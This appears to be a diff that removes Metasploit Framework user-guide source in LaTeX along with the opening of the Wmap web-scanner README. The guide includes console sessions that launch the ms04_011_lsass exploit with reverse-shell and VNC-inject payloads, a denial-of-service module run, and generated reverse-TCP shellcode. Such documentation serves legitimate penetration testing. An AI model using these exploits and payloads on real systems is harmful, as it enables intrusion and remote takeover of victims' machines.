it to configure settings, the payloads use it patch opcodes, the exploits
|
||||
use it to define parameters, and it is used internally to pass options between
|
||||
modules. There are two types of datastores. First, there is a single global
|
||||
datastore that can be accessed using the \texttt{setg} and \texttt{unsetg}
|
||||
commands from \texttt{msfconsole}. Second, each module instance has its own
|
||||
datastore in which arbitrary options or parameters can be stored. For
|
||||
example, when the \texttt{RHOST} option is set, its value is stored in the
|
||||
datastore of the module instance that it was set relative to. In the event
|
||||
that an option was not set in a module instance's datastore, the framework
|
||||
will consult the global datastore to see if it was set there.
|
||||
|
||||
\section{Global DataStore}
|
||||
\label{ENV-GLOBAL}
|
||||
\par
|
||||
The Global datastore is accessed through the console via the \texttt{setg} and
|
||||
\texttt{unsetg} commands. The following example shows the Global datastore
|
||||
state after a fresh installation. Calling \texttt{setg} with no arguments
|
||||
displays the current global datastore. Default settings are automatically
|
||||
loaded when the interface starts.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > setg
|
||||
|
||||
Global
|
||||
======
|
||||
|
||||
No entries in data store.
|
||||
|
||||
\end{verbatim}
|
||||
|
||||
\section{Module DataStore}
|
||||
\label{ENV-TEMP}
|
||||
\par
|
||||
|
||||
The module datastore is accessed through the \texttt{set} and \texttt{unset}
|
||||
commands. This datastore only applies to the currently loaded module;
|
||||
switching to another module via the \texttt{use} command will result in the
|
||||
module datastore for the current module being swapped out with the datastore
|
||||
of the new module. If no module is currently active, the \texttt{set} and
|
||||
\texttt{unset} commands will operate on the global datastore. Switching back
|
||||
to the original module will initialize a new datastore for the module. To
|
||||
persist the contents of either the global or module-specific datastores, the
|
||||
\texttt{save} command should be used.
|
||||
|
||||
\section{Saved DataStore}
|
||||
\label{ENV-SAVE}
|
||||
|
||||
\par
|
||||
The \texttt{save} command can be used to synchronize the Global and all module
|
||||
datastores to disk. The saved environment is written to
|
||||
\texttt{HOME/.msf3/config} and will be loaded when any of the user interfaces
|
||||
are executed.
|
||||
|
||||
\section{DataStore Efficiency}
|
||||
\label{ENV-EFF}
|
||||
|
||||
\par
|
||||
This split datastore system allows you save time during exploit development
|
||||
and penetration testing. Common options between exploits can be defined in the
|
||||
Global datastore once and automatically used in any exploit you load thereafter.
|
||||
|
||||
\par
|
||||
The example below shows how the \texttt{LPORT}, \texttt{LHOST}, and
|
||||
\texttt{PAYLOAD} global datastore can be used to save time when exploiting a
|
||||
set of Windows-based targets. If this datastore was set and a Linux exploit
|
||||
was being used, the module datastore (via \texttt{set} and \texttt{unset})
|
||||
could be used to override these defaults.
|
||||
|
||||
{\footnotesize
|
||||
\begin{verbatim}
|
||||
f > setg LHOST 192.168.0.10
|
||||
LHOST => 192.168.0.10
|
||||
msf > setg LPORT 4445
|
||||
LPORT => 4445
|
||||
msf > setg PAYLOAD windows/shell/reverse_tcp
|
||||
PAYLOAD => windows/shell/reverse_tcp
|
||||
msf > use windows/smb/ms04_011_lsass
|
||||
msf exploit(ms04_011_lsass) > show options
|
||||
|
||||
Module options:
|
||||
|
||||
...
|
||||
|
||||
Payload options:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process
|
||||
LHOST 192.168.0.10 yes The local address
|
||||
LPORT 4445 yes The local port
|
||||
|
||||
...
|
||||
|
||||
\end{verbatim}}
|
||||
|
||||
\section{DataStore Variables}
|
||||
\label{ENV-VAR}
|
||||
\par
|
||||
The datastore can be used to configure many aspects of the Framework, ranging
|
||||
from user interface settings to specific timeout options in the network socket
|
||||
API. This section describes the most commonly used environment variables.
|
||||
|
||||
\par
|
||||
For a complete listing of all environment variables, please see the file
|
||||
Environment.txt in the ``documentation'' subdirectory of the Framework.
|
||||
|
||||
\subsection{LogLevel}
|
||||
\par
|
||||
This variable is used to control the verbosity of log messages provided
|
||||
by the components of the Framework. If this variable is not set, framework
|
||||
logging is disabled. Setting this variable to 0 will turn on default log
|
||||
messages. A value of 1 will enable additional, non-verbose log messages that
|
||||
may be helpful in troubleshooting. A value of 2 will enable verbose debug
|
||||
logging. A value of 3 will enable all logging and may generate a large amount
|
||||
of log messages. Only use this when much additional information is required.
|
||||
Log files are stored in the logs subdirectory of the user's configuration
|
||||
directory (~/.msf3/logs). Unlike version 2 of the framework, debugging
|
||||
messages are never written directly to the console.
|
||||
|
||||
\subsection{MsfModulePaths}
|
||||
\par
|
||||
This variable can be used to add additional paths from which to load modules.
|
||||
By default, the framework will load modules from the modules directory found
|
||||
within the framework install. It will also load modules from ~/.msf3/modules
|
||||
if such a path exists. This variable makes it possible to statically define
|
||||
additional paths from which to load modules.
|
||||
|
||||
\pagebreak
|
||||
|
||||
\chapter{Using the Framework}
|
||||
|
||||
\section{Choosing a Module}
|
||||
\par
|
||||
From the \texttt{msfconsole} interface, you can view the list of modules that
|
||||
are available for you to interact with. You can see all available modules
|
||||
through the \texttt{show all} command. To see the list of modules of a
|
||||
particular type you can use the \texttt{show moduletype} command, where
|
||||
\textit{moduletype} is any one of exploits, encoders, payloads, and so on.
|
||||
You can select a module with the \texttt{use} command by specifying the
|
||||
module's name as the argument. The \texttt{info} command can be used to view
|
||||
information about a module without using it. Unlike Metasploit 2.x, the new
|
||||
version of Metasploit supports interacting with each different module types
|
||||
through the \texttt{use} command. In Metasploit 2.x, only exploit modules
|
||||
could be interacted with.
|
||||
|
||||
\section{Exploit Modules}
|
||||
|
||||
\par
|
||||
Exploit modules are the defacto module in Metasploit which are used to
|
||||
encapsulate an exploit.
|
||||
|
||||
\subsection{Configuring the Active Exploit}
|
||||
|
||||
\par
|
||||
Once you have selected an exploit with the \texttt{use} command, the next step
|
||||
is to determine what options it requires. This can be accomplished with the
|
||||
\texttt{show options} command. Most exploits use \texttt{RHOST} to specify the
|
||||
target address and \texttt{RPORT} to set the target port. Use the \texttt{set}
|
||||
command to configure the appropriate values for all required options. If you
|
||||
have any questions about what a given option does, refer to the module source
|
||||
code. Advanced options are available with some exploit modules, these can be
|
||||
viewed with the \texttt{show advanced} command. Options useful for IDS and IPS
|
||||
evasion can be viewed with the \texttt{show evasion} command.
|
||||
|
||||
\subsection{Verifying the Exploit Options}
|
||||
|
||||
\par
|
||||
The \texttt{check} command can be used to determine whether the target
|
||||
system is vulnerable to the active exploit module. This is a quick way to
|
||||
verify that all options have been correctly set and that the target is
|
||||
actually vulnerable to exploitation. Not all exploit modules have implemented
|
||||
the check functionality. In many cases it is nearly impossible to determine
|
||||
whether a service is vulnerable without actually exploiting it. A
|
||||
\texttt{check} command should never result in the target system crashing or
|
||||
becoming unavailable. Many modules display version information and
|
||||
expect you to analyze it before proceeding.
|
||||
|
||||
\subsection{Selecting a Target}
|
||||
|
||||
\par Many exploits will require the \texttt{TARGET} environment variable to be
|
||||
set to the index number of the desired target. The \texttt{show targets}
|
||||
command will list all targets provided by the exploit module. Many exploits
|
||||
will default to a brute-force target type; this may not be desirable in all
|
||||
situations.
|
||||
|
||||
\subsection{Selecting the Payload}
|
||||
|
||||
\par The payload is the actual code that will run on the target system after
|
||||
a successful exploit attempt. Use the \texttt{show payloads} command to list
|
||||
all payloads compatible with the current exploit. If you are behind a
|
||||
firewall, you may want to use a bind shell payload, if your target is behind
|
||||
one and you are not, you would use a reverse connect payload. You can use the
|
||||
\texttt{info payload\_name} command to view detailed information about a given
|
||||
payload.
|
||||
|
||||
\par
|
||||
Once you have decided on a payload, use the \texttt{set} command to specify
|
||||
the payload module name as the value for the \texttt{PAYLOAD} environment
|
||||
variable. Once the payload has been set, use the \texttt{show options} command
|
||||
to display all available payload options. Most payloads have at least one
|
||||
required option. Advanced options are provided by a handful of payload
|
||||
options; use the \texttt{show advanced} command to view these. Please keep in
|
||||
mind that you will be allowed to select any payload compatible with that
|
||||
exploit, even if it not compatible with your currently selected
|
||||
\texttt{TARGET}. For example, if you select a Linux target, yet choose a BSD
|
||||
payload, you should not expect the exploit to work.
|
||||
|
||||
\subsection{Launching the Exploit}
|
||||
|
||||
\par The \texttt{exploit} command will launch the attack. If everything went
|
||||
well, your payload will execute and potentially provide you with an
|
||||
interactive command shell on the exploited system.
|
||||
|
||||
\section{Auxiliary Modules}
|
||||
|
||||
\par
|
||||
Metasploit 3.0 supports the concept of auxiliary modules which can be used to
|
||||
perform arbitrary, one-off actions such as port scanning, denial of service,
|
||||
and even fuzzing.
|
||||
|
||||
\subsection{Running an Auxiliary Task}
|
||||
|
||||
\par
|
||||
Auxiliary modules are quite a bit similar to exploit modules. Instead of
|
||||
having targets, they have actions, which are specified through the
|
||||
\texttt{ACTION} option. To run an auxiliary module, you can either use the
|
||||
\texttt{run} command, or you can use the \texttt{exploit} command -- they're
|
||||
both the same thing.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use dos/windows/smb/ms06_035_mailslot
|
||||
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
|
||||
RHOST => 1.2.3.4
|
||||
msf auxiliary(ms06_035_mailslot) > run
|
||||
[*] Mangling the kernel, two bytes at a time...
|
||||
\end{verbatim}
|
||||
|
||||
\section{Payload Modules}
|
||||
|
||||
\par
|
||||
Payload modules encapsulate the arbitrary code (shellcode) that is executed as
|
||||
the result of an exploit succeeding. Payloads typically build a communication
|
||||
channel between Metasploit and the victim host.
|
||||
|
||||
\subsection{Generating a Payload}
|
||||
|
||||
\par
|
||||
The console interface supports generating different forms of a payload. This
|
||||
is a new feature in Metasploit 3.0. To generate payloads, first select a
|
||||
payload through the \texttt{use} command.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use windows/shell_reverse_tcp
|
||||
msf payload(shell_reverse_tcp) > generate -h
|
||||
Usage: generate [options]
|
||||
|
||||
Generates a payload.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
||||
-e <opt> The name of the encoder module to use.
|
||||
-h Help banner.
|
||||
-o <opt> A comma separated list of options in VAR=VAL format.
|
||||
-s <opt> NOP sled length.
|
||||
-t <opt> The output type: ruby, perl, c, or raw.
|
||||
|
||||
msf payload(shell_reverse_tcp) >
|
||||
\end{verbatim}
|
||||
|
||||
\par
|
||||
Using the options supported by the \texttt{generate} command, different
|
||||
formats of a payload can be generated. Some payloads will require options
|
||||
which can be specified through the \texttt{-o} parameter. Additionally, a
|
||||
format to convey the generated payload can be specified through the
|
||||
\texttt{-t} parameter. To save the resulting data to a local file, pass the
|
||||
\texttt{-f} parameter followed by the output file name.
|
||||
|
||||
\begin{verbatim}
|
||||
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
|
||||
LHOST => 1.2.3.4
|
||||
msf payload(shell_reverse_tcp) > generate -t ruby
|
||||
# windows/shell_reverse_tcp - 287 bytes
|
||||
# http://www.metasploit.com
|
||||
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
|
||||
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
|
||||
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
|
||||
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
|
||||
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
|
||||
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
|
||||
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
|
||||
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
|
||||
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
|
||||
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
|
||||
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
|
||||
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
|
||||
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
|
||||
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
|
||||
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
|
||||
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
|
||||
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
|
||||
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
|
||||
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
|
||||
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
|
||||
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
|
||||
"\x04\x5f\x53\xff\xd6\xff\xd0"
|
||||
msf payload(shell_reverse_tcp) >
|
||||
\end{verbatim}
|
||||
|
||||
\section{Nop Modules}
|
||||
|
||||
\par
|
||||
NOP modules are used to generate no-operation instructions that can be used
|
||||
for padding out buffers.
|
||||
|
||||
\subsection{Generating a NOP Sled}
|
||||
|
||||
\par
|
||||
The NOP module console interface supports generating a NOP sled of an
|
||||
arbitrary size and displaying it in a given format through the
|
||||
\texttt{generate} command.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use x86/opty2
|
||||
msf nop(opty2) > generate -h
|
||||
Usage: generate [options] length
|
||||
|
||||
Generates a NOP sled of a given length.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
||||
-h Help banner.
|
||||
-s <opt> The comma separated list of registers to save.
|
||||
-t <opt> The output type: ruby, perl, c, or raw.
|
||||
|
||||
msf nop(opty2) >
|
||||
\end{verbatim}
|
||||
|
||||
\par
|
||||
To generate a 50 byte NOP sled that is displayed as a C-style buffer, the
|
||||
following command can be run:
|
||||
|
||||
\begin{verbatim}
|
||||
msf nop(opty2) > generate -t c 50
|
||||
unsigned char buf[] =
|
||||
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
|
||||
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
|
||||
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
|
||||
"\x92\xb5\xd4\x4f\x91";
|
||||
msf nop(opty2) >
|
||||
\end{verbatim}
|
||||
|
||||
\pagebreak
|
||||
\chapter{Advanced Features}
|
||||
|
||||
\par
|
||||
This section covers some of the advanced features that can be found in this
|
||||
release. These features can be used in any compatible exploit and highlight
|
||||
the strength of developing attack code using an exploit framework.
|
||||
|
||||
\section{The Meterpreter}
|
||||
\par
|
||||
The Meterpreter is an advanced multi-function payload that can be dynamically
|
||||
extended at run-time. In normal terms, this means that it provides you with a
|
||||
basic shell and allows you to add new features to it as needed. Please refer
|
||||
to the Meterpreter documentation for an in-depth description of how it works
|
||||
and what you can do with it. The Meterpreter manual can be found in the
|
||||
``documentation'' subdirectory of the Framework as well as online at:
|
||||
|
||||
\url{http://www.metasploit.com/documents/meterpreter.pdf}
|
||||
|
||||
\section{PassiveX Payloads}
|
||||
|
||||
\par The Metasploit Framework can be used to
|
||||
load arbitrary ActiveX controls into a target process. This feature works by
|
||||
patching the registry of the target system and causing the exploited process
|
||||
to launch internet explorer with a URL pointing back to the Framework. The
|
||||
Framework starts up a simple web server that accepts the request and sends
|
||||
back a web page instructing it to load an ActiveX component. The exploited
|
||||
system then downloads, registers, and executes the ActiveX.
|
||||
|
||||
\par
|
||||
The basic PassiveX payload, \texttt{windows/xxx/reverse\_http}, supports any
|
||||
custom ActiveX that you develop. In addition to the base payload, three other
|
||||
PassiveX modules are included in the Framework. These can be used to execute a
|
||||
command shell, load the Meterpreter, or inject a VNC service. When any of
|
||||
these three payloads are used, the PassiveX object will emulate a TCP
|
||||
connection through HTTP GET and POST requests. This allows you to interact
|
||||
with a command shell, VNC, or the Meterpreter using nothing but standard HTTP
|
||||
traffic.
|
||||
|
||||
\par
|
||||
Since PassiveX uses the Internet Explorer browser to load the ActiveX
|
||||
component, it will pass right through an outbound web proxy, using whatever
|
||||
system and authentication settings that have already been configured. The
|
||||
PassiveX payloads will only work when the target system has Internet Explorer
|
||||
6.0 installed (not 5.5 or 7.0). For more information about PassiveX,
|
||||
please see the Uninformed Journal article titled "Post-Exploitation on Windows
|
||||
using ActiveX Controls", located online at:
|
||||
|
||||
\url{http://www.uninformed.org/?v=1&a=3&t=pdf}
|
||||
|
||||
\section{Chainable Proxies}
|
||||
\par
|
||||
The Framework includes transparent support for TCP proxies, this release has
|
||||
handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a
|
||||
given exploit, the \texttt{Proxies} environment variable needs to be set. The value of
|
||||
this variable is a comma-separated list of proxy servers, where each server is
|
||||
in the format type:host:port. The type values are 'http' for HTTP CONNECT and
|
||||
'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that
|
||||
the system was stable with over five hundred SOCKS and HTTP proxies configured
|
||||
randomly in a chain. The proxy chain only masks the exploit request, the
|
||||
automatic connection to the payload is not relayed through the proxy chain at
|
||||
this time.
|
||||
|
||||
\section{Win32 UploadExec Payloads}
|
||||
\par
|
||||
Although Unix systems normally include all of the tools you need for
|
||||
post-exploitation, Windows systems are notoriously lacking in a decent command
|
||||
line toolkit. The windows/upexec/* payloads included in this release allow you to
|
||||
simultaneously exploit a Windows system, upload your favorite tool, and execute
|
||||
it, all across the payload socket connection. When combined with a
|
||||
self-extracting rootkit or scripting language interpreter (perl.exe!), this can
|
||||
be a very powerful feature. The Meterpreter payloads are usually much better
|
||||
suited for penetration testing tasks.
|
||||
|
||||
\section{Win32 DLL Injection Payloads}
|
||||
\par
|
||||
The Framework includes a staged payload that is
|
||||
capable of injecting a custom DLL into memory in combination with any Win32
|
||||
exploit. This payload will not result in any files being written to disk; the
|
||||
DLL is loaded directly into memory and is started as a new thread in the
|
||||
exploited process. This payload was developed by Jarkko Turkulainen and Matt
|
||||
Miller and is one of the most powerful post-exploitation techniques developed
|
||||
to date. To create a DLL which can be used with this payload, use the
|
||||
development environment of choice and build a standard Win32 DLL. This DLL
|
||||
should export an function called Init which takes a single argument, an
|
||||
integer value which contains the socket descriptor of the payload connection.
|
||||
The Init function becomes the entry point for the new thread in the exploited
|
||||
process. When processing is complete, it should return and allow the loader
|
||||
stub to exit the process according to the \texttt{EXITFUNC} environment
|
||||
variable. If you would like to write your own DLL payloads, refer to the
|
||||
external/source/dllinject directory in the Framework. In additional to normal
|
||||
DLL Injection, version 3.2 and newer include support for Reflective DLL Injection
|
||||
payloads as well. For more information about Reflective DLL Injection, please see
|
||||
the Harmony Security paper, located at
|
||||
\url{http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf}
|
||||
|
||||
\section{VNC Server DLL Injection}
|
||||
\par
|
||||
One of the first DLL injection payloads developed was a customized VNC server.
|
||||
This server was written by Matt Miller and based on the RealVNC source code.
|
||||
Additional modifications were made to allow the server to work with exploited,
|
||||
non-interactive network services. This payload allows you to immediately access
|
||||
the desktop of an exploited system using almost any Win32 exploit. The DLL is
|
||||
loaded into the remote process using any of the staged loader systems, started
|
||||
up as a new thread in the exploited process, and the listens for VNC client
|
||||
requests on the same socket used to load the DLL. The Framework listens
|
||||
on a local socket for a VNC client and proxies data across the payload
|
||||
connection to the server.
|
||||
|
||||
\par
|
||||
The VNC server will attempt to obtain full access to the current interactive
|
||||
desktop. If the first attempt fails, it will call RevertToSelf() and then try
|
||||
the attempt again. If it still fails to obtain full access to this desktop, it
|
||||
will fall back to a read-only mode. In read-only mode, the Framework user can
|
||||
view the contents of the desktop, but not interact with it. If full access was
|
||||
obtained, the VNC server will spawn a command shell on the desktop with the
|
||||
privileges of the exploited service. This is useful in situations where an
|
||||
unprivileged user is on the interactive desktop, but the exploited service is
|
||||
running with System privileges.
|
||||
|
||||
\par
|
||||
If there is no interactive user logged into the system or the screen has been
|
||||
locked, the command shell can be used to launch explorer.exe anyways. This can
|
||||
result in some very confused users when the logon screen also has a Start Menu.
|
||||
If the interactive desktop is changed, either through someone logging into the
|
||||
system or locking the screen, the VNC server will disconnect the client. Future
|
||||
versions may attempt to follow a desktop switch.
|
||||
|
||||
\par
|
||||
To use the VNC injection payloads, specify the full path to the VNC server as
|
||||
the value of the \texttt{DLL} option. The VNC server can be found in the data
|
||||
subdirectory of the Framework installation and is named 'vncdll.dll'. The source
|
||||
code of the DLL can be found in the external/source/vncdll
|
||||
subdirectory of the Framework installation.
|
||||
|
||||
\par
|
||||
There are a few situations where the VNC inject payload
|
||||
will simply not work. These problems are often cause by strange execution
|
||||
environments or other issues related to a specific exploit or injection method.
|
||||
These issues will be addressed as time permits:
|
||||
\begin{itemize}
|
||||
\item The windows/brightstor/universal\_agent exploit will cause the VNC payload to
|
||||
crash, possibly due to a strange heap state.
|
||||
\end{itemize}
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use windows/smb/ms04_011_lsass
|
||||
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
|
||||
RHOST => some.vuln.host
|
||||
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
|
||||
PAYLOAD => windows/vncinject/reverse_tcp
|
||||
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
|
||||
LHOST => your.own.ip
|
||||
msf exploit(ms04_011_lsass) > set LPORT 4321
|
||||
LPORT => 4321
|
||||
msf exploit(ms04_011_lsass) > exploit
|
||||
\end{verbatim}
|
||||
|
||||
If the "vncviewer" application is in your path and the AUTOVNC option has been
|
||||
set (it is by default), the Framework will automatically open the VNC desktop.
|
||||
If you would like to connect to the desktop manually, \texttt{set AUTOVNC 0}, then use
|
||||
vncviewer to connect to 127.0.0.1 on port 5900.
|
||||
|
||||
\pagebreak
|
||||
\chapter{More Information}
|
||||
|
||||
|
||||
\section{Web Site}
|
||||
\par
|
||||
The metasploit.com web site is the first place to check for updated modules and
|
||||
new releases. This web site also hosts the Opcode Database and a decent shellcode
|
||||
archive.
|
||||
|
||||
\section{Mailing List}
|
||||
\par
|
||||
Metasploit hosts two mailing lists -- Framework and Framework-Hackers. You can find
|
||||
information about these mailing lists, along with their archives, at the following URL:
|
||||
\url{http://spool.metasploit.com/}
|
||||
|
||||
\section{Developers}
|
||||
\par
|
||||
If you are interested in helping out with the Framework project, or have any
|
||||
questions related to module development, please contact the development team. The
|
||||
Metasploit Framework development team can be reached at msfdev[at]metasploit.com.
|
||||
|
||||
\pagebreak
|
||||
\appendix
|
||||
|
||||
\pagebreak
|
||||
\chapter{Security}
|
||||
|
||||
\par
|
||||
We recommend that you use a robust, secure terminal emulator when
|
||||
utilizing the command-line interfaces. Examples include \texttt{konsole},
|
||||
\texttt{gnome-terminal}, and recent versions of \texttt{PuTTY}.
|
||||
|
||||
\par
|
||||
We do not recommend that the \texttt{msfweb} interface be used on untrusted
|
||||
networks.
|
||||
|
||||
\section{Console Interfaces}
|
||||
\par
|
||||
The console does not perform terminal escape sequence filtering, this
|
||||
could allow a hostile network service to do Bad Things (TM) to your terminal
|
||||
emulator when the exploit or check commands are used. We suggest that you
|
||||
use a terminal emulator which limits the functionality available through
|
||||
hostile escape sequences. Please see the Terminal Emulator Security Issues paper
|
||||
below for more information on this topic:
|
||||
|
||||
\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3}
|
||||
|
||||
|
||||
\section{Web Interface}
|
||||
\par
|
||||
The \texttt{msfweb} interface does not adequately filter certain arguments,
|
||||
allowing a hostile web site operator to perform a cross-site scripting
|
||||
attack on the \texttt{msfweb} user.
|
||||
|
||||
\par
|
||||
The \texttt{msfweb} interface does not provide any access control functionality. If
|
||||
the service is configured to listen on a different interface (default is
|
||||
loopback), a malicious attacker could abuse this to exploit remote systems
|
||||
and potentially access local files. The local file access attack can be
|
||||
accomplished by malicious arguments to the payloads which use a local file
|
||||
as input and then exploiting a (fake) service to obtain the file contents.
|
||||
|
||||
|
||||
\pagebreak
|
||||
\chapter{General Tips}
|
||||
|
||||
\section{Tab Completion}
|
||||
\label{REF-TAB}
|
||||
\par
|
||||
On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline
|
||||
library when Ruby was compiled. Some operating systems, such as Mac OS X, have included
|
||||
a version of Ruby without this support. To solve this problem, grab the latest version
|
||||
of the Readline library, configure, build, and install it. Then grab the latest version
|
||||
of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the
|
||||
\texttt{msfconsole} interface with full tab completion support.
|
||||
|
||||
|
||||
\section{Secure Socket Layer}
|
||||
\label{REF-SSL}
|
||||
\par
|
||||
Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer.
|
||||
This is a feature of the Socket class included with the Rex library. To indicate that all connections
|
||||
should use SSL, set the \texttt{SSL} environment variable to \texttt{true} from within the Framework
|
||||
interface. Keep in mind, that in most cases the default \texttt{RPORT} variable will need to be
|
||||
changed as well. For example, when exploiting a web application vulnerability through SSL, the
|
||||
\texttt{RPORT} value should be set to \texttt{443}.
|
||||
|
||||
\pagebreak
|
||||
\chapter{Licenses}
|
||||
|
||||
\par
|
||||
The Metasploit Framework is distributed under the modified-BSD license defined below.
|
||||
|
||||
{\footnotesize
|
||||
\begin{verbatim}
|
||||
Copyright (c) 2008, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
\end{verbatim}}
|
||||
|
||||
\end{document}
|
Binary file not shown.
Binary file not shown.
|
@ -1,567 +0,0 @@
|
|||
|
||||
.-.-.-..-.-.-..---..---.
|
||||
| | | || | | || | || |-'
|
||||
`-----'`-'-'-'`-^-'`-'
|
||||
Metasploit Wmap 1.5
|
||||
==============================================================================
|
||||
Efrain Torres et [ ] metasploit.com 2012
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
=[ 0. Intro ] ----------------------------------------------------------------
|
||||
|
||||
So its 2012 and before the Mayans are proven to be right I was able to create
|
||||
a new version of this plugin. If you have read the old wmap documentation this
|
||||
is what is going on:
|
||||
|
||||
Wmap is still a general purpose web application scanning framework for
|
||||
Metasploit. Still is a different approach compared to other open source
|
||||
alternatives and commercial scanners, as Wmap is not build around any browser
|
||||
or spider for data capture and manipulation. And the best thing is that still
|
||||
is FR33. Lots of bugs are gone and the new code allows for faster and more
|
||||
efficient execution.
|
||||
|
||||
=[ 1. How it works ] ---------------------------------------------------------
|
||||
|
||||
The old architecture (versions < 1.5):
|
||||
|
||||
[CLIENT] ----- [ATTACK PROXY] ----- [TARGET]
|
||||
| | ^
|
||||
+--------->[METASPLOIT DB] |
|
||||
| |
|
||||
[MSF 3 - Wmap SCANNER] |
|
||||
[MSF 3 - Wmap MODULES] -----+
|
||||
|
||||
The new architecture:
|
||||
|
||||
[CLIENTS]
|
||||
|
|
||||
|
|
||||
+-------[Wmap PLUGIN]<-----+----->[METASPLOIT DB]
|
||||
| | | |
|
||||
| | | |
|
||||
[NODE 1] [NODE 2] [NODE n] ---------+
|
||||
| | | \
|
||||
| | | [Wmap MODULES]
|
||||
+---------[TARGETS]--------+
|
||||
|
||||
|
||||
Wmap is a Metasploit plugin and will interact with the database, reading all
|
||||
gathered traffic from any client you have configured/adapted or duct taped to
|
||||
store web sites, requests, responses and forms in the Metasploit DB.
|
||||
|
||||
The test performed are all Metasploit modules which WMAP execute in a
|
||||
configurable order. The test modules are implemented as auxiliary or exploit
|
||||
modules and they can interact with any other MSF component including the
|
||||
database other exploits and plugins.
|
||||
|
||||
The new architecture allows to have different distributed clients and nodes
|
||||
all storing results and data to a central database. This means that large
|
||||
enviorments can be tested using multiple metasploit msfrcpd servers (nodes)
|
||||
controled from one (or more) WMAP consoles. Wmap will execute the tests to be
|
||||
launched from each node distributing evenly the job load across all configured
